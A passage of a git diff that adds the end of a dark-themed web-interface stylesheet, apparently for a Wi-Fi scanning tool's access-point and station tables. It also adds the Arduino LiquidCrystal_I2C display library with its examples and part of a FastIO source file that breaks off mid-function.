+.checkBoxContainer .checkmark:after { + left: 10px; + top: 7px; + width: 4px; + height: 10px; + border: solid white; + border-width: 0 3px 3px 0; + -webkit-transform: rotate(45deg); + -ms-transform: rotate(45deg); + transform: rotate(45deg); +} + +/* ERROR */ +.hide { + display: none; +} + +.show { + display: block !important; + animation-name: fadeIn; + animation-duration: 1s; +} + +@keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + + +hr { + background: #3e4146; +} + +a { + color: #5281bb; + text-decoration: none; +} + +a:hover { + color: #95b8e4; +} + +li{ + margin: 4px 0; +} + +/* Meter */ +.meter_background{ + background: #42464D; + width: 100%; + word-break: normal; + min-width: 100px; +} +.meter_forground{ + color: #fff; + padding: 4px 0; + /* + one of the colors below + (width will be set by the JS) */ +} +.meter_green{ + background: #43B581; +} +.meter_orange{ + background: #FAA61A; +} +.meter_red{ + background: #F04747; +} +.meter_value{ + padding-left: 8px; +} + + +/* Tables */ +table { + width: 100%; + min-width: 400px; + margin-bottom: 2em; +} + +td{ + word-break: break-all; +} + +th{ + word-break: break-word; +} + +th, td { + padding: 10px 6px; + text-align: left; + border-bottom: 1px solid #5d5d5d; +} + +@media screen and (max-width: 820px) { + #apTable .id, + #apTable .enc, + #apTable .mac, + #apTable .vendor, + #apTable .name, + + #stTable .id, + #stTable .pkts, + #stTable .lastseen, + #stTable .mac, + + #nTable .id, + #nTable .vendor, + #nTable .ap, + #nTable .mac, + + #ssidTable .id { + display: none; + } + + .meter_background{ + min-width: 45px; + } +} + +/* Navigation bar */ +nav { + display: block; + padding: 8px 10px; + background: #2f3136; +} + +nav a { + color: #bfbfbf; + padding: 0.5em; + display: inline-block; + text-decoration: none; +} + +nav a:hover{ + background: #36393f; + color:#cecece; + border-radius: 4px; +} + +/* Inputs and buttons */ +.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] { + display: inline-block; + height: 38px; + padding: 0 20px; + color:#fff; + text-align: center; + font-size: 11px; + font-weight: 600; + line-height: 38px; + letter-spacing: .1rem; + text-transform: uppercase; + text-decoration: none; + white-space: nowrap; + background: #2f3136; + border-radius: 4px; + border: none; + cursor: pointer; + box-sizing: border-box; +} + +button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover { + background: #42444a; +} +button:active, input[type="submit"]:active, input[type="reset"]:active, input[type="button"]:active { + transform: scale(.93); +} + +/* Forms */ +input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select { + height: 38px; + padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */ + background-color: #2f3136; + border-radius: 4px; + box-shadow: none; + box-sizing: border-box; + color: #d4d4d4; + border: none; + width: 5em; +} + +input[type="text"]{ + width: 10em; +} + +.setting { + width: 100% !important; + max-width: 284px !important; +} + +input[type="file"] { + display: none; +} + +/* ==== GRID SYSTEM ==== */ +.container { + width: 100%; + margin-left: auto; + margin-right: auto; + max-width: 1140px; +} + +.row { + position: relative; + width: 100%; +} + +.row [class^="col"] { + float: left; + margin: 0.25rem 2%; + min-height: 0.125rem; +} + +.col-1, +.col-2, +.col-3, +.col-4, +.col-5, +.col-6, +.col-7, +.col-8, +.col-9, +.col-10, +.col-11, +.col-12 { + width: 96%; +} + +.row::after { + content: ""; + display: table; + clear: both; +} + +.hidden-sm { + display: none; +} + +@media only screen and (min-width: 24em) { + .col-1 { + width: 4.33%; + } + + .col-2 { + width: 12.66%; + } + + .col-3 { + width: 21%; + } + + .col-4 { + width: 29.33%; + } + + .col-5 { + width: 37.66%; + } + + .col-6 { + width: 46%; + } + + .col-7 { + width: 54.33%; + } + + .col-8 { + width: 62.66%; + } + + .col-9 { + width: 71%; + } + + .col-10 { + width: 79.33%; + } + + .col-11 { + width: 87.66%; + } + + .col-12 { + width: 96%; + } + + .hidden-sm { + display: block; + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..2506fea --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp @@ -0,0 +1,252 @@ +#include "LiquidCrystal_I2C.h" +#include +#include +#include + +// When the display powers up, it is configured as follows: +// +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a sketch starts (and the +// LiquidCrystal constructor is called). + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_addr, uint8_t lcd_cols, uint8_t lcd_rows, uint8_t charsize) +{ + _addr = lcd_addr; + _cols = lcd_cols; + _rows = lcd_rows; + _charsize = charsize; + _backlightval = LCD_BACKLIGHT; +} + +void LiquidCrystal_I2C::begin() { + Wire.begin(); + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + if (_rows > 1) { + _displayfunction |= LCD_2LINE; + } + + // for some 1 line displays you can select a 10 pixel high font + if ((_charsize != 0) && (_rows == 1)) { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way befer 4.5V so we'll wait 50 + delay(50); + + // Now we pull both RS and R/W low to begin commands + expanderWrite(_backlightval); // reset expanderand turn backlight off (Bit 8 =1) + delay(1000); + + //put the LCD into 4 bit mode + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + write4bits(0x03 << 4); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + write4bits(0x03 << 4); + delayMicroseconds(4500); // wait min 4.1ms + + // third go! + write4bits(0x03 << 4); + delayMicroseconds(150); + + // finally, set to 4-bit interface + write4bits(0x02 << 4); + + // set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear it off + clear(); + + // Initialize to default text direction (for roman languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + home(); +} + +/********** high level commands, for the user! */ +void LiquidCrystal_I2C::clear(){ + command(LCD_CLEARDISPLAY);// clear display, set cursor position to zero + delayMicroseconds(2000); // this command takes a long time! +} + +void LiquidCrystal_I2C::home(){ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(2000); // this command takes a long time! +} + +void LiquidCrystal_I2C::setCursor(uint8_t col, uint8_t row){ + int row_offsets[] = { 0x00, 0x40, 0x14, 0x54 }; + if (row > _rows) { + row = _rows-1; // we count rows starting w/0 + } + command(LCD_SETDDRAMADDR | (col + row_offsets[row])); +} + +// Turn the display on/off (quickly) +void LiquidCrystal_I2C::noDisplay() { + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::display() { + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LiquidCrystal_I2C::noCursor() { + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::cursor() { + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turn on and off the blinking cursor +void LiquidCrystal_I2C::noBlink() { + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::blink() { + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LiquidCrystal_I2C::scrollDisplayLeft(void) { + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} +void LiquidCrystal_I2C::scrollDisplayRight(void) { + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LiquidCrystal_I2C::leftToRight(void) { + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LiquidCrystal_I2C::rightToLeft(void) { + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'right justify' text from the cursor +void LiquidCrystal_I2C::autoscroll(void) { + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LiquidCrystal_I2C::noAutoscroll(void) { + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Allows us to fill the first 8 CGRAM locations +// with custom characters +void LiquidCrystal_I2C::createChar(uint8_t location, uint8_t charmap[]) { + location &= 0x7; // we only have 8 locations 0-7 + command(LCD_SETCGRAMADDR | (location << 3)); + for (int i=0; i<8; i++) { + write(charmap[i]); + } +} + +// Turn the (optional) backlight off/on +void LiquidCrystal_I2C::noBacklight(void) { + _backlightval=LCD_NOBACKLIGHT; + expanderWrite(0); +} + +void LiquidCrystal_I2C::backlight(void) { + _backlightval=LCD_BACKLIGHT; + expanderWrite(0); +} + +/*********** mid level commands, for sending data/cmds */ + +inline void LiquidCrystal_I2C::command(uint8_t value) { + send(value, 0); +} + +inline size_t LiquidCrystal_I2C::write(uint8_t value) { + send(value, Rs); +} + + +/************ low level data pushing commands **********/ + +// write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) { + uint8_t highnib=value&0xf0; + uint8_t lownib=(value<<4)&0xf0; + write4bits((highnib)|mode); + write4bits((lownib)|mode); +} + +void LiquidCrystal_I2C::write4bits(uint8_t value) { + expanderWrite(value); + pulseEnable(value); +} + +void LiquidCrystal_I2C::expanderWrite(uint8_t _data){ + Wire.beginTransmission(_addr); + Wire.write((int)(_data) | _backlightval); + Wire.endTransmission(); +} + +void LiquidCrystal_I2C::pulseEnable(uint8_t _data){ + expanderWrite(_data | En); // En high + delayMicroseconds(1); // enable pulse must be >450ns + + expanderWrite(_data & ~En); // En low + delayMicroseconds(50); // commands need > 37us to settle +} + +void LiquidCrystal_I2C::load_custom_character(uint8_t char_num, uint8_t *rows){ + createChar(char_num, rows); +} + +void LiquidCrystal_I2C::setBacklight(uint8_t new_val){ + if (new_val) { + backlight(); // turn backlight on + } else { + noBacklight(); // turn backlight off + } +} + +void LiquidCrystal_I2C::printstr(const char c[]){ + //This function is not identical to the function used for "real" I2C displays + //it's here so the user sketch doesn't have to be changed + print(c); +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h new file mode 100644 index 0000000..df8ac7d --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h @@ -0,0 +1,164 @@ +#ifndef FDB_LIQUID_CRYSTAL_I2C_H +#define FDB_LIQUID_CRYSTAL_I2C_H + +#include +#include + +// commands +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off control +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + +// flags for backlight control +#define LCD_BACKLIGHT 0x08 +#define LCD_NOBACKLIGHT 0x00 + +#define En B00000100 // Enable bit +#define Rw B00000010 // Read/Write bit +#define Rs B00000001 // Register select bit + +/** + * This is the driver for the Liquid Crystal LCD displays that use the I2C bus. + * + * After creating an instance of this class, first call begin() before anything else. + * The backlight is on by default, since that is the most likely operating mode in + * most cases. + */ +class LiquidCrystal_I2C : public Print { +public: + /** + * Constructor + * + * @param lcd_addr I2C slave address of the LCD display. Most likely printed on the + * LCD circuit board, or look in the supplied LCD documentation. + * @param lcd_cols Number of columns your LCD display has. + * @param lcd_rows Number of rows your LCD display has. + * @param charsize The size in dots that the display has, use LCD_5x10DOTS or LCD_5x8DOTS. + */ + LiquidCrystal_I2C(uint8_t lcd_addr, uint8_t lcd_cols, uint8_t lcd_rows, uint8_t charsize = LCD_5x8DOTS); + + /** + * Set the LCD display in the correct begin state, must be called before anything else is done. + */ + void begin(); + + /** + * Remove all the characters currently shown. Next print/write operation will start + * from the first position on LCD display. + */ + void clear(); + + /** + * Next print/write operation will will start from the first position on the LCD display. + */ + void home(); + + /** + * Do not show any characters on the LCD display. Backlight state will remain unchanged. + * Also all characters written on the display will return, when the display in enabled again. + */ + void noDisplay(); + + /** + * Show the characters on the LCD display, this is the normal behaviour. This method should + * only be used after noDisplay() has been used. + */ + void display(); + + /** + * Do not blink the cursor indicator. + */ + void noBlink(); + + /** + * Start blinking the cursor indicator. + */ + void blink(); + + /** + * Do not show a cursor indicator. + */ + void noCursor(); + + /** + * Show a cursor indicator, cursor can blink on not blink. Use the + * methods blink() and noBlink() for changing cursor blink. + */ + void cursor(); + + void scrollDisplayLeft(); + void scrollDisplayRight(); + void printLeft(); + void printRight(); + void leftToRight(); + void rightToLeft(); + void shiftIncrement(); + void shiftDecrement(); + void noBacklight(); + void backlight(); + void autoscroll(); + void noAutoscroll(); + void createChar(uint8_t, uint8_t[]); + void setCursor(uint8_t, uint8_t); + virtual size_t write(uint8_t); + void command(uint8_t); + + inline void blink_on() { blink(); } + inline void blink_off() { noBlink(); } + inline void cursor_on() { cursor(); } + inline void cursor_off() { noCursor(); } + +// Compatibility API function aliases + void setBacklight(uint8_t new_val); // alias for backlight() and nobacklight() + void load_custom_character(uint8_t char_num, uint8_t *rows); // alias for createChar() + void printstr(const char[]); + +private: + void send(uint8_t, uint8_t); + void write4bits(uint8_t); + void expanderWrite(uint8_t); + void pulseEnable(uint8_t); + uint8_t _addr; + uint8_t _displayfunction; + uint8_t _displaycontrol; + uint8_t _displaymode; + uint8_t _cols; + uint8_t _rows; + uint8_t _charsize; + uint8_t _backlightval; +}; + +#endif // FDB_LIQUID_CRYSTAL_I2C_H diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md b/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md new file mode 100644 index 0000000..9b84222 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md @@ -0,0 +1,9 @@ +# Installation # +Create a new folder called "LiquidCrystal_I2C" under the folder named "libraries" in your Arduino sketchbook folder. +Create the folder "libraries" in case it does not exist yet. Place all the files in the "LiquidCrystal_I2C" folder. + +# Usage # +To use the library in your own sketch, select it from *Sketch > Import Library*. + +------------------------------------------------------------------------------------------------------------------- +This library is based on work done by DFROBOT (www.dfrobot.com). \ No newline at end of file diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino new file mode 100644 index 0000000..addc18d --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino @@ -0,0 +1,32 @@ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + // initialize the LCD + lcd.begin(); +} + +void loop() +{ + bool blinking = true; + lcd.cursor(); + + while (1) { + if (blinking) { + lcd.clear(); + lcd.print("No cursor blink"); + lcd.noBlink(); + blinking = false; + } else { + lcd.clear(); + lcd.print("Cursor blink"); + lcd.blink(); + blinking = true; + } + delay(4000); + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino new file mode 100644 index 0000000..c006e63 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino @@ -0,0 +1,65 @@ +#include +#include + +uint8_t bell[8] = {0x4, 0xe, 0xe, 0xe, 0x1f, 0x0, 0x4}; +uint8_t note[8] = {0x2, 0x3, 0x2, 0xe, 0x1e, 0xc, 0x0}; +uint8_t clock[8] = {0x0, 0xe, 0x15, 0x17, 0x11, 0xe, 0x0}; +uint8_t heart[8] = {0x0, 0xa, 0x1f, 0x1f, 0xe, 0x4, 0x0}; +uint8_t duck[8] = {0x0, 0xc, 0x1d, 0xf, 0xf, 0x6, 0x0}; +uint8_t check[8] = {0x0, 0x1 ,0x3, 0x16, 0x1c, 0x8, 0x0}; +uint8_t cross[8] = {0x0, 0x1b, 0xe, 0x4, 0xe, 0x1b, 0x0}; +uint8_t retarrow[8] = { 0x1, 0x1, 0x5, 0x9, 0x1f, 0x8, 0x4}; + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + lcd.begin(); + lcd.backlight(); + + lcd.createChar(0, bell); + lcd.createChar(1, note); + lcd.createChar(2, clock); + lcd.createChar(3, heart); + lcd.createChar(4, duck); + lcd.createChar(5, check); + lcd.createChar(6, cross); + lcd.createChar(7, retarrow); + lcd.home(); + + lcd.print("Hello world..."); + lcd.setCursor(0, 1); + lcd.print(" i "); + lcd.write(3); + lcd.print(" arduinos!"); + delay(5000); + displayKeyCodes(); +} + +// display all keycodes +void displayKeyCodes(void) { + uint8_t i = 0; + + while (1) { + lcd.clear(); + lcd.print("Codes 0x"); + lcd.print(i, HEX); + lcd.print("-0x"); + lcd.print(i + 16, HEX); + lcd.setCursor(0, 1); + + for (int j = 0; j < 16; j++) { + lcd.write(i + j); + } + i += 16; + + delay(4000); + } +} + +void loop() +{ + // Do nothing here... +} + diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino new file mode 100644 index 0000000..fdb9ee6 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino @@ -0,0 +1,20 @@ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + // initialize the LCD + lcd.begin(); + + // Turn on the blacklight and print a message. + lcd.backlight(); + lcd.print("Hello, world!"); +} + +void loop() +{ + // Do nothing here... +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino new file mode 100644 index 0000000..a384c98 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino @@ -0,0 +1,34 @@ +/** + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + lcd.begin(); + lcd.backlight(); + + // Initialize the serial port at a speed of 9600 baud + Serial.begin(9600); +} + +void loop() +{ + // If characters arrived over the serial port... + if (Serial.available()) { + // Wait a bit for the entire message to arrive + delay(100); + // Clear the screen + lcd.clear(); + + // Write all characters received with the serial port to the LCD. + while (Serial.available() > 0) { + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt b/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt new file mode 100644 index 0000000..8c450a9 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt @@ -0,0 +1,46 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_I2C KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +init KEYWORD2 +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight KEYWORD2 +rightToLeft KEYWORD2 +shiftIncrement KEYWORD2 +shiftDecrement KEYWORD2 +noBacklight KEYWORD2 +backlight KEYWORD2 +autoscroll KEYWORD2 +noAutoscroll KEYWORD2 +createChar KEYWORD2 +setCursor KEYWORD2 +print KEYWORD2 +blink_on KEYWORD2 +blink_off KEYWORD2 +cursor_on KEYWORD2 +cursor_off KEYWORD2 +setBacklight KEYWORD2 +load_custom_character KEYWORD2 +printstr KEYWORD2 +########################################### +# Constants (LITERAL1) +########################################### diff --git a/libraries/I2C_LCD02/I2C_LCD02.ino b/libraries/I2C_LCD02/I2C_LCD02.ino new file mode 100644 index 0000000..9d73fe1 --- /dev/null +++ b/libraries/I2C_LCD02/I2C_LCD02.ino @@ -0,0 +1,84 @@ + +/*-----( Import needed libraries )-----*/ +#include // Comes with Arduino IDE +// Get the LCD I2C Library here: +// www.4tronix.co.uk/arduino/sketches/LiquidCrystal_V1.2.1.zip +// Move any other LCD libraries to another folder or delete them +// See Library "Docs" folder for possible commands etc. +#include + +/*-----( Declare Constants )-----*/ +/*-----( Declare objects )-----*/ +// set the LCD address to 0x27 for a 20 chars 4 line display +// Set the pins on the I2C chip used for LCD connections: +// addr, en,rw,rs,d4,d5,d6,d7,bl,blpol +LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); // Set the LCD I2C address + +/*-----( Declare Variables )-----*/ +//NONE + +void setup() /*----( SETUP: RUNS ONCE )----*/ +{ + Serial.begin(9600); // Used to type in characters + + lcd.begin(20,4); // initialize the lcd for 20 chars 4 lines, turn on backlight + +// ------- Quick 3 blinks of backlight ------------- + for(int i = 0; i< 3; i++) + { + lcd.backlight(); + delay(250); + lcd.noBacklight(); + delay(250); + } + lcd.backlight(); // finish with backlight on + +//-------- Write characters on the display ------------------ +// NOTE: Cursor Position: (CHAR, LINE) start at 0 + lcd.setCursor(0,0); //Start at character 4 on line 0 + lcd.print("Hello, world!"); + delay(1000); + lcd.setCursor(0,1); + lcd.print("4tronix I2C LCD"); // Print text on 2nd Line + delay(1000); + lcd.setCursor(0,2); + lcd.print("0123456789ABCDEFGHIJ"); //Print 20 characters on 3rd line + delay(1000); + lcd.setCursor(0,3); + lcd.print("4th Line of Text"); + delay(8000); + +// Wait and then tell user they can start the Serial Monitor and type in characters to +// Display. (Set Serial Monitor option to "No Line Ending") +/* lcd.clear(); + lcd.setCursor(0,0); //Start at character 0 on line 0 + lcd.print("Use Serial Mon"); + lcd.setCursor(0,1); + lcd.print("Type to display"); */ + + +}/*--(end setup )---*/ + + +void loop() /*----( LOOP: RUNS CONSTANTLY )----*/ +{ + { + // when characters arrive over the serial port... + if (Serial.available()) { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + //lcd.clear(); + // read all the available characters + while (Serial.available() > 0) { + // display each character to the LCD + //lcd.write(Serial.read()); + } + } + } + +}/* --(end main loop )-- */ + + +/* ( THE END ) */ + diff --git a/libraries/LiquidCrystal/FastIO.cpp b/libraries/LiquidCrystal/FastIO.cpp new file mode 100644 index 0000000..18c8ac5 --- /dev/null +++ b/libraries/LiquidCrystal/FastIO.cpp @@ -0,0 +1,267 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// +// 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster +// +// @todo: +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#include "FastIO.h" + + +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state) +{ + pinMode(pin, OUTPUT); + + if(initial_state != SKIP) + { + digitalWrite(pin, initial_state); // also turns off pwm timer + } +#ifdef FIO_FALLBACK + // just wasting memory if not using fast io... + return 0; +#else + return portOutputRegister(digitalPinToPort(pin)); +#endif +} + + +fio_register fio_pinToInputRegister(uint8_t pin) +{ + pinMode(pin, INPUT); + digitalWrite(pin, LOW); // also turns off pwm timer and pullup +#ifdef FIO_FALLBACK + // just wasting memory if not using fast io... + return 0; +#else + return portInputRegister(digitalPinToPort(pin)); +#endif +} + + +fio_bit fio_pinToBit(uint8_t pin) +{ +#ifdef FIO_FALLBACK + // (ab)use the bit variable to store the pin + return pin; +#else + return digitalPinToBitMask(pin); +#endif +} + + +void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) +{ +#ifdef FIO_FALLBACK + digitalWrite(pinBit, value); +#else + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value == LOW) + { + fio_digitalWrite_LOW(pinRegister,pinBit); + } + else + { + fio_digitalWrite_HIGH(pinRegister,pinBit); + } + } +#endif +} + +int fio_digitalRead(fio_register pinRegister, uint8_t pinBit) +{ +#ifdef FIO_FALLBACK + return digitalRead (pinBit); +#else + if (*pinRegister & pinBit) + { + return HIGH; + } + return LOW; +#endif +} + +void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, + fio_register clockRegister, fio_bit clockBit, + uint8_t value, uint8_t bitOrder) +{ + // # disable interrupts + int8_t i; + + if(bitOrder == LSBFIRST) + { + for(i = 0; i < 8; i++) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value & 1) + { + fio_digitalWrite_HIGH(dataRegister, dataBit); + } + else + { + fio_digitalWrite_LOW(dataRegister, dataBit); + } + value >>= 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + + } + else + { + for(i = 0; i < 8; i++) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value & 0x80) + { + fio_digitalWrite_HIGH(dataRegister, dataBit); + } + else + { + fio_digitalWrite_LOW(dataRegister, dataBit); + } + value <<= 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + } +} + + +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, + fio_register clockRegister, fio_bit clockBit) +{ + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // shift out 0x0 (B00000000) fast, byte order is irrelevant + fio_digitalWrite_LOW (dataRegister, dataBit); + + for(uint8_t i = 0; i<8; ++i) + { + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_SWITCH (clockRegister, clockBit); + } + } +} + + +void fio_shiftOut1_init(uint8_t pin) +{ + fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin)); +} + +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit) +{ + // Make sure that capacitors are charged + // 300us is an educated guess... + fio_digitalWrite(shift1Register,shift1Bit,HIGH); + delayMicroseconds(300); +} + + +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, + boolean noLatch) +{ + /* + * this function are based on Shif1 protocol developed by Roman Black + * (http://www.romanblack.com/shift1.htm) + * + * test sketches: + * http://pastebin.com/raw.php?i=2hnC9v2Z + * http://pastebin.com/raw.php?i=bGg4DhXQ + * http://pastebin.com/raw.php?i=tg1ZFiM5 + * http://pastebin.com/raw.php?i=93ExPDD3 - cascading + * tested with: + * TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/ + * arduino-one-wire-shift-register-prototype) + * 7HC595N + */ + + // iterate but ignore last bit (is it correct now?) + for(int8_t i = 7; i>=0; --i) + { + + // assume that pin is HIGH (smokin' pot all day... :) - requires + // initialization + if(value & _BV(i)) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // HIGH = 1 Bit + 